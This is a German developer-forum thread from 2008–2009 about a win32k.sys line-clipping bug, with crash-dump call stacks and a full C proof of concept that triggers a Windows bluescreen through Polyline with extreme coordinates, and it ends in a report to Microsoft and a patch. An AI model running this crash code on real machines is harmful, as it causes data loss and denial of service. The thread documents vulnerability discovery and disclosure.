ZFX
ZFX Neu
Home
Community
Neueste Posts
Chat
FAQ
IOTW
Tutorials
Bücher
zfxCON
ZFXCE
Mathlib
ASSIMP
NES
Wir über uns
Impressum
Regeln
Suchen
Mitgliederliste
Membername:
Passwort:
Besucher:
4421996
Jetzt (Chat):
13 (0)
Mitglieder:
5239
Themen:
24223
Nachrichten:
234554
Neuestes Mitglied:
-insane-

ZFX
Sonstige Foren
Off-Topic
Bluescreen durch einfache Win32 Funktion
Normal
AutorThema
Helmut Offline
ZFX'ler


Registriert seit:
11.07.2002

Deutschland
280083044 helmut4242
Bluescreen durch einfache Win32 FunktionNach oben.
Hi,
vor ein paar Jahren habe ich mal ein kleines Programm geschrieben und habe dann zufällig festgestellt, dass dieses Programm unter bestimmten Bedingungen einen Bluescreen unter Win XP produziert. Jedenfalls habe ich das Programm soweit vereinfacht, dass praktisch nur noch eine normale Win32 Funktion (GDI) mit bestimmten Parametern aufgerufen wird (die aber gültig sind). Ich habs dann aber halt so gelassen..
Jetzt wo ich Vista habe war ich eigentlich fest überzeugt, dass der Bug bereits behoben ist, hab aber festgestellt, dass die Exe immer noch das gleiche Resultat liefert, man muss nur Aero abschalten. Da es dafür aber sicher auch eine API gibt und das Programm nicht mal Adminrechte braucht, frage ich mich nun, ob das nicht ne Sicherheitslücke in Windows ist?

Vor allem frage ich mich, ob man so eine Lücke nicht ausnutzen könnte und verkaufen könnte?

Hat jemand hier von sowas Ahnung?

Ciao
31.07.2008, 19:05:19 Uhr
Bomber-Revolution
Godhand Offline
ZFX'ler


Registriert seit:
15.10.2002

Deutschland
Re: Bluescreen durch einfache Win32 FunktionNach oben.
Na, aber an so etwas denkt man noch nicht einmal! (ich meine Kapital aus Bugs zu schlagen)

Eigentlich sollte kein Bluescreen auftauchen, denn dann ist immer der Fall eingetreten, dass Windows ein undefiniertes Verhalten befürtet, welches den Computer (bzw. deine Daten) beschädigen könnte. Richtig wäre: Errorcodes zurückgeben oder deine Anwendung beenden.

Die richtige Anlaufstelle dafür ist definiv der Hersteller, nur weiß ich nicht, an wen bei Microsoft du dich wenden solltest. An Dritte dies weiterzugeben fände ich völlig unangebracht.

Hat jemand anders schon einmal einen Fehler von Windows oder einer der Komponenten an Microsoft berichtet?

1 Mal gendert, zuletzt am 31.07.2008, 19:23:37 Uhr von Godhand.
31.07.2008, 19:15:14 Uhr
Helmut Offline
ZFX'ler


Registriert seit:
11.07.2002

Deutschland
280083044 helmut4242
Re: Bluescreen durch einfache Win32 FunktionNach oben.
Na ich dachte auch daran, das an Microsoft zu verkaufen, aber jetzt wo du's andeutest käme ich wohl wirklich besser weg, das an dubiose Firmen zu verkaufen Habe ich aber eigentlich nicht vor

31.07.2008, 19:33:36 Uhr
Bomber-Revolution
jumphigh Offline
ZFX'ler


Registriert seit:
30.06.2004

Thüringen
221436197 andreas_heyer@hotmail.com
Re: Bluescreen durch einfache Win32 FunktionNach oben.
Vielleicht würdest du uns ja mal das Programm zeigen? Nicht alles, was einen BSOD auslöst, ist ein Bug in Windows.

MfG
Andreas


1 Mal gendert, zuletzt am 31.07.2008, 20:51:43 Uhr von jumphigh.
31.07.2008, 20:22:45 Uhr
www.high-and-heyer.de
Godhand Offline
ZFX'ler


Registriert seit:
15.10.2002

Deutschland
Re: Bluescreen durch einfache Win32 FunktionNach oben.
Ja klar, der Code macht nichts anderes, als KeBugCheckEx auszuführen

Spaß beiseite: Schalte das Speichern von Absturzspeicherabbilddateien an, und lad das Abbild mal mit Kd und gebe "analyze -v" ein. Dann kommt irgendwann sowas wie "Probably caused by: ...". Sollte das (immer!) eine Microsoft-Komponente sein, wird das auch höchstwahrscheinlich ein Bug sein. Ich tippe aber irgendwie auf Treiberprobleme.

Edit: Da kriegst du die Debugging-Tools her:
http://www.microsoft.com/whdc/devtools/debugging/whatsnew.mspx

Mir fällt gerade auf: Die (jetzt Microsoft-)Leute von Sysinternals könnten das auch interessant finden.

3 Mal gendert, zuletzt am 31.07.2008, 20:58:08 Uhr von Godhand.
31.07.2008, 20:55:24 Uhr
Helmut Offline
ZFX'ler


Registriert seit:
11.07.2002

Deutschland
280083044 helmut4242
Re: Bluescreen durch einfache Win32 FunktionNach oben.
@jumphigh
Aber wenn ein Programm, das nicht mal das Recht zum Neustarten hat, einen BSOD auslösen kann, müsste das doch eine Lücke sein? Gut, ich habs jetzt nur mit dem Standardmodus von Vista ausprobiert, wo man noch Neustarten darf, aber es dürfte wohl auch funktionieren, wenn man das Recht nimmt..

@Godhand
Danke für den Tipp, werd ich gleich mal ausprobieren. Auch wenn ich bisher nicht viel mit dem Kernelmode am Hut hatte.
An die Treiber dachte ich zuerst auch, aber ich habs auf zwei fast völlig unterschiedlichen PCs getestet. XP,ATI,P4 DUO und Vista,NV,P4. Kann aber natürlich trotzdem sein.

Den Code werd ich euch sicher noch geben..

Ciao
31.07.2008, 21:10:37 Uhr
Bomber-Revolution
Jörg Offline
ZFX'ler


Registriert seit:
03.12.2005

Nordrhein-Westfalen
133916438
Re: Bluescreen durch einfache Win32 FunktionNach oben.
Eine nette Anlaufstelle ist immer die Newsgroup:
microsoft.public.win32.programmer.kernel, wenn es Dir darum geht , die Ursachen kennen zu lernen.
Was das "Kaptial rausschlagen" angeht...da kann ich nicht weiter helfen...
01.08.2008, 08:30:41 Uhr
Helmut Offline
ZFX'ler


Registriert seit:
11.07.2002

Deutschland
280083044 helmut4242
Re: Bluescreen durch einfache Win32 FunktionNach oben.
So, inzwischen habe ich die Dumps analysiert. Unter Vista hab ichs zwar nicht geschafft, weil meine (einzige) Partition da verschlüsselt ist und der BSOD den Dump auch nicht auf einen Wechseldatenträger schreiben kann, aber unter XP hat sich mit einer ATI Karte der folgende Callstack ergeben:
Code:
ef527168 80520fa0 00000050 efe06230 00000001 nt!KeBugCheckEx+0x1b
ef5271b4 804de718 00000001 efe06230 00000000 nt!MmAccessFault+0x6f5
ef5271b4 bf8c9c05 00000001 efe06230 00000000 nt!KiTrap0E+0xcc
ef52724c bf8c8647 ef527270 f007a000 fffff000 win32k!vLine32Octant16+0x31
ef527298 bf8c853d 0000008d e1a39038 f0047000 win32k!vDrawLine+0x1d0
ef52732c bf8c883b 00000005 ef5276c0 00000000 win32k!vSolidLine+0x140
ef527354 bf033da2 e1748b08 ef5276c0 ef527530 win32k!EngStrokePath+0xcd
WARNING: Stack unwind information not available. Following frames may be wrong.
ef527464 bf04ec4f 000000f0 ef5276c0 ef527530 ati2dvag+0x21da2
ef5274a8 bf8c8c27 e177a9a0 ef5276c0 ef527530 ati2dvag+0x3cc4f
ef5274fc bf8f79ac e177a9a0 ef5276c0 ef527530 win32k!WatchdogDrvStrokePath+0x4f
ef5277c4 bf85fae1 01010057 0012fd34 0012fd28 win32k!NtGdiFastPolyPolyline+0x5e1
ef527868 804db7ec 01010057 0012fd34 0012fd28 win32k!NtGdiPolyPolyDraw+0x34
ef527868 7c91eb94 01010057 0012fd34 0012fd28 nt!KiFastCallEntry+0xf8
0012fcec 77ef827f 77efdd8d 01010057 0012fd34 ntdll!KiFastSystemCallRet
0012fd18 004010ac 01010057 0012fd34 0000000c GDI32!NtGdiPolyPolyDraw+0xc
0012fdbc 7e368816 00401000 00030284 0000000f Bluescreen+0x10ac
...

Tatsächlich also ein Treiber mittendrin!
Also habe ichs unter XP + NV ausprobiert. Dort siehts so aus:
Code:
b9c2d244 805241a0 00000050 f5704180 00000001 nt!KeBugCheckEx+0x1b
b9c2d290 804e1718 00000001 f5704180 00000000 nt!MmAccessFault+0x6f5
b9c2d290 bf8c9ac5 00000001 f5704180 00000000 nt!KiTrap0E+0xcc
b9c2d328 bf8c8507 b9c2d34c f576c000 fffff000 win32k!vLine32Octant16+0x31
b9c2d374 bf8c83fd 00000061 e1c0f038 f5705000 win32k!vDrawLine+0x1d0
b9c2d408 bf8c86fb 00000005 b9c2d6c0 00000000 win32k!vSolidLine+0x140
b9c2d430 bf9d9a3e e1c122f0 b9c2d6c0 b9c2d530 win32k!EngStrokePath+0xcd
WARNING: Stack unwind information not available. Following frames may be wrong.
b9c2d474 804e1718 00000000 bf8c8a9c 00000000 nv4_disp+0x4a3e
b9c2d474 bf102b6f 00000000 bf8c8a9c 00000000 nt!KiTrap0E+0xcc
e1c0f080 bf112b70 bf112c70 bf112c70 bf122c71 0xbf102b6f
...

Oben alles gleich. Haben also beide Treiber den selben Bug? Eher unwahrscheinlich würd ich sagen. Also habe ich XP mal im Safe Mode gestartet und siehe da, der Fehler ist immer noch da, aber der Treiber wird nicht mehr aufgerufen:
Code:
f7c9324c 805241a0 00000050 f7e5b230 00000001 nt!KeBugCheckEx+0x1b
f7c93298 804e1718 00000001 f7e5b230 00000000 nt!MmAccessFault+0x6f5
f7c93298 bf8c9ac5 00000001 f7e5b230 00000000 nt!KiTrap0E+0xcc
f7c93330 bf8c8507 f7c93354 f7eef000 fffff000 win32k!vLine32Octant16+0x31
f7c9337c bf8c83fd 0000008d e18ca038 f7e5c000 win32k!vDrawLine+0x1d0
f7c93410 bf8c86fb 00000005 f7c936c0 00000000 win32k!vSolidLine+0x140
f7c93438 bf9373bc e18c75b8 f7c936c0 f7c93530 win32k!EngStrokePath+0xcd
f7c93478 bf937ac7 bf8c868b 00000000 e18c75b8 win32k!OffStrokePath+0x62
f7c934fc bf8f7834 e18c75b8 f7c936c0 f7c93530 win32k!SpStrokePath+0x6b
f7c937c4 bf84bf97 01010051 0012fd34 0012fd28 win32k!NtGdiFastPolyPolyline+0x5e1
f7c93868 804de7ec 01010051 0012fd34 0012fd28 win32k!NtGdiPolyPolyDraw+0x34
f7c93868 7c91e4f4 01010051 0012fd34 0012fd28 nt!KiFastCallEntry+0xf8
0012fcec 77ef82cf 77efe0a3 01010051 0012fd34 ntdll!KiFastSystemCallRet
0012fd18 004010ac 01010051 0012fd34 0000000c GDI32!NtGdiPolyPolyDraw+0xc
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fdbc 7e368816 00401000 000400b8 0000000f Bluescreen+0x10ac
...

Ich schlussfolgere also, dass es ein Bug von Windows ist. Allerdings laut Kernel Newsgroup keine Sicherheitslücke, sondern ein DoS.
Über Google habe ich auch schon die Ansprechadresse von MS gefunden:
https://www.microsoft.com/technet/security/bulletin/alertus.aspx
Bis auf eine promte Antwort, dass das einem Entwickler zugewiesen wurde, aber noch keine Antwort erhalten. Da man mit dem Code jedenfalls wahrscheinlich eh nichts gefährliches machen kann, hier der Source Code:
Code:
//BSOD throuh a call of Polyline (GDI) with special parameters
//Written by Helmut Buhler - Bielefeld 08/02/2008 - blabreject [at] web.de

#include 

typedef HRESULT (__stdcall* DwmEnableCompositionProc)(UINT uCompositionAction);


int WINAPI WinMain(HINSTANCE, HINSTANCE, PSTR, int)
{
    //Disable composition
    //composition probably has its own drawroutines or uses the graphicscard, so that it doesn't crash there
    HMODULE hLib = LoadLibrary(\"dwmapi.dll\");
    if(hLib)
    {
        DwmEnableCompositionProc DwmEnableComposition = (DwmEnableCompositionProc)GetProcAddress(hLib, \"DwmEnableComposition\");
        if(DwmEnableComposition)
            DwmEnableComposition(0);
    }


    int r = MessageBox(0,
        \"This program tries to cause a bluescreen.\n\"
        \"All unsaved data will be lost and maybe the\n\"
        \"harddrive gets corrupted.\n\n\"
        \"Created by Helmut Buhler - no warranty\n\n\"
        \"Continue?\", \"WARNING\",
        MB_ICONWARNING | MB_DEFBUTTON2 | MB_OKCANCEL);
    if(r != IDOK)
        return 0;

    HDC hdc = GetDC(0);//You can also create a window and draw on that, but this is shorter
    
    POINT Point[12];
    for(int i = 0; i < 12; i++)
        Point[i].x = i;
    Point[0].y = 248;
    Point[1].y = 247;
    Point[2].y = 246;
    Point[3].y = 120;
    Point[4].y = -8;
    Point[5].y = -1048328;
    Point[6].y = -67108616;
    Point[7].y = -1073741576;
    Point[8].y = -2147483400;
    Point[9].y = 248;
    Point[10].y = 256;
    Point[11].y = 0;

    Polyline(hdc, Point, 12);//BSOD here
    ReleaseDC(0, hdc) ;

    Sleep(2000);
    MessageBox(0, \"OK. That didn't work.\nYour Windows is secure;)\", 0, 0);
    return 0;
}


Ich vermute mal, dass die Funktion zum Zeichnen einer Linie in Assembler geschrieben ist und die Linie nicht korrekt geclippt wird, sodass außerhalb des Bildspeichers geschrieben wird. Und im Kernelmode kommt man dann nicht mit einer Access Violation davon..

Ciao
12.08.2008, 19:13:34 Uhr
Bomber-Revolution
jumphigh Offline
ZFX'ler


Registriert seit:
30.06.2004

Thüringen
221436197 andreas_heyer@hotmail.com
Re: Bluescreen durch einfache Win32 FunktionNach oben.
Habe es gerade ausprobiert. Der BSOD sagt eindeutig, wo der Fehler liegt: win32k.sys. Das ist die Kernelkomponente des Win32-Subsystems. Der Stop Error ist PAGE_FAULT_IN_NONPAGED_AREA (0x00000050). Auch wenn der Name eigentlich alles verrät , hier eine Erklärung: OSR

Ich tippe auch auf fehlerhaftes Clipping und daraus resultierendem Zugriff außerhalb der Puffers. Es scheint aber kein sicherheitskritischer Fehler zu sein, weil sich an dieser Stelle offenbar keine andere Kernelpage befindet, deren Daten man so geeignet überschreiben könnte.

Was mich wundert ist, dass DrawPolyLine eigentlich eine halbwegs moderne Grafikkarte in HW ausführen sollte und daher der Clippingtest im Treiber bzw. in der GPU stattfindet. Es wäre aber natürlich möglich, dass alle GraKa-Hersteller für ihre Treiber das Skelett des DDK nehmen und dort nur ihre HW-Aufrufe reingehängt haben, sonstige Algos wie das Clipping aber der Ms-Referenzimplementierung überlassen.

Insgesamt findet man recht viele Seiten zu 0x50-Errors im Netz, sowohl im Zusammenspiel mit win32k.sys wie auch anderen Treibern. Hier ist z.B. einer bei W2k auch im GDI:
http://support.microsoft.com/kb/319965
Es ist also gut möglich, dass es als "normaler" Fehler angesehen wird, für den ein Fix, wenn überhaupt, erst spät kommt.

MfG
Andreas


4 Mal gendert, zuletzt am 13.08.2008, 21:37:00 Uhr von jumphigh.
13.08.2008, 21:28:42 Uhr
www.high-and-heyer.de
Helmut Offline
ZFX'ler


Registriert seit:
11.07.2002

Deutschland
280083044 helmut4242
Re: Bluescreen durch einfache Win32 FunktionNach oben.
Zitat von jumphigh:
Habe es gerade ausprobiert. Der BSOD sagt eindeutig, wo der Fehler liegt: win32k.sys. Das ist die Kernelkomponente des Win32-Subsystems.

Ja klar, aber das heißt ja längst nicht, dass dort auch der Bug ist, oder?
Selbst wenn im Stack kein Aufruf von fremden Treibern vorkommt könnte es ja sein, dass ein fremder Treiber vorher irgendeinen Zustand ungültig gemacht hat, in diesem Fall glaube ich aber nicht daran.

Zitat:
Es scheint aber kein sicherheitskritischer Fehler zu sein, weil sich an dieser Stelle offenbar keine andere Kernelpage befindet, deren Daten man so geeignet überschreiben könnte.

Ist das jetzt nur so ne Vermutung, oder gibts eine Liste, wo man sehen könnte, welche Kernelpages in der Nähe des Bildpuffers liegen?

Aber auch wenns jetzt nichts gebracht hat, es war trotzdem ganz interessant in den Kermelmode reinzuschnuppern

Ciao
14.08.2008, 22:01:12 Uhr
Bomber-Revolution
jumphigh Offline
ZFX'ler


Registriert seit:
30.06.2004

Thüringen
221436197 andreas_heyer@hotmail.com
Re: Bluescreen durch einfache Win32 FunktionNach oben.
Zitat von Helmut:
Ja klar, aber das heißt ja längst nicht, dass dort auch der Bug ist, oder?

Natürlich nicht unbedingt. Der Callstack zeigt dir nur, *wo* die Exception auftritt.

Wenn z.B. die vermeintlich fehlerhafte (?) Win32-Funktion den Speicherzeiger vom GraKa-Treiber erhält und aus Leistungsgründen kein MmIsAddressValid auf "unbekannte" Zeiger ausführt, ist wohl der GraKa-Treiber schuld, weil er fehlerhafte Adressen liefert. Es wäre in so einem Fall natürlich besser, wenn der MS-Code Sicherheitstest durchführen würde und nicht einfach abstürzt.

Und ehrlich gesagt glaube ich auch nicht daran, dass es am Fremdcode liegt. Es ist entweder ein wirklicher Bug in GDI bzw. Win32 (kann es wirklich noch fehlerhaftes Clipping geben???) oder in den Skeletten der GraKa-Treiber aus dem DDK, die als Grundlage für ATI-, nVidia- und MS-SVGA-Treiber dienten.
Allerdings hat sich das Treibermodell für Vista geändert, und wenn da nicht wirklich Copy-and-Paste-Coding betrieben wurde, tippe ich wirklich auf OS-Code im GDI selbst.

Zitat:
Ist das jetzt nur so ne Vermutung

Ist doch offensichtlich, sowohl du wie auch ich bekommen einen Page-Fault auf verschiedensten Rechnern. Natürlich beweißt das aber gar nichts...

Zitat:

Aber auch wenns jetzt nichts gebracht hat, es war trotzdem ganz interessant in den Kermelmode reinzuschnuppern

So ein Crashdump ist nicht schlecht, nur leider ist Windows dazu nicht in der Lage, wenn man die Auslagerungsdatei komplett von der Systempartition wegverlegt. Ich erhalte so immer nur BSODs ohne die Möglichkeit zur näheren Suche des Fehlers.

MfG
Andreas


1 Mal gendert, zuletzt am 14.08.2008, 22:51:57 Uhr von jumphigh.
14.08.2008, 22:51:43 Uhr
www.high-and-heyer.de
Krishty Offline
ZFX'ler


Registriert seit:
01.02.2004

Nordrhein-Westfalen
342173470
Re: Bluescreen durch einfache Win32 FunktionNach oben.
Zitat von jumphigh:
So ein Crashdump ist nicht schlecht, nur leider ist Windows dazu nicht in der Lage, wenn man die Auslagerungsdatei komplett von der Systempartition wegverlegt. Ich erhalte so immer nur BSODs ohne die Möglichkeit zur näheren Suche des Fehlers.
Ist nur eine spontane Idee, aber was auf dem eigenen Rechner nicht einzurichten ist, lässt sich auf Virtual Machines machen. Dann unterbricht ein BSOD auch nicht den Arbeitsablauf

Gruß, Ky
14.08.2008, 23:08:08 Uhr
Helmut Offline
ZFX'ler


Registriert seit:
11.07.2002

Deutschland
280083044 helmut4242
Re: Bluescreen durch einfache Win32 FunktionNach oben.
Um vielleicht mal ein kleines Update zu geben: Der Bug ist sehr wohl sicherheitskritisch Man kann anscheinend tatsächlich durch geeignete Parameter Code in den Kernel einschleusen und da in einigen Bildformaten (zB emf) praktisch nur drin steht, welche GDI Funktionen mit welchen Parametern aufgerufen werden sollen, könnte man mit dem Bug schon einiges anstellen
Ich hoffe also mal, dass ihr alle Windowsupdates installiert, im Aktuellen März Update wird der Bug nämlich gefixt (mit meinem Namen in der Danksagung)
Der Bug war übrigens schon seit Win2000 im NT Kernel versteckt, und zwar bis zum aktuellen Server08 inklusive 64Bit. Irgendwie unglaublich, dass der erst jetzt aufgeflogen ist.
Irgendeiner hat sogar nen kleinen Artikel darüber geschrieben

Ciao
13.03.2009, 14:21:21 Uhr
Bomber-Revolution
Aramis Offline
ZFX'ler


Registriert seit:
14.03.2007

Baden-Württemberg
406712329
Re: Bluescreen durch einfache Win32 FunktionNach oben.
Wow, Gratuliere

Außerordentlich fair von Microsoft Credits zu vergeben, die scheinen offenbar relativ glücklich zu sein dass du es gemeldet hast anstelle die Sicherheitslücke für böse Zwecke auszunutzen

Alex
13.03.2009, 17:05:04 Uhr
jumphigh Offline
ZFX'ler


Registriert seit:
30.06.2004

Thüringen
221436197 andreas_heyer@hotmail.com
Re: Bluescreen durch einfache Win32 FunktionNach oben.
Mhm, man hätte ruhig auch mich mit nennen dürfen, schließlich habe ich ohne Codezugriff richtig auf einen OS-Bug getippt.

Gratulation und besten Dank, dass du uns vor bösen Buben bewahrt hast.

MfG
Andreas

PS: Fehler in MS-Produkten zu finden, ist gar nicht so schwer, da braucht man gar kein Hacker zu sein. Einfache Anwendung reicht schon.
Ich habe z.B. auch vor kurzem einen Fehler im VS gefunden und bei Connect gemeldet. Wurde auch anerkannt, nur ein Fix wird es wohl erst in Nachfolgeversionen geben. Wenn man allerdings Hinz und Kunz erlauben würde, Windows-Fehler bei Connect zu melden, dann platzte der Server wohl aus allen Nähten...


1 Mal gendert, zuletzt am 13.03.2009, 18:21:45 Uhr von jumphigh.
13.03.2009, 18:21:13 Uhr
www.high-and-heyer.de
Normal


ZFX Community Software, Version 0.9.1
Copyright 2002-2003 by Steffen Engel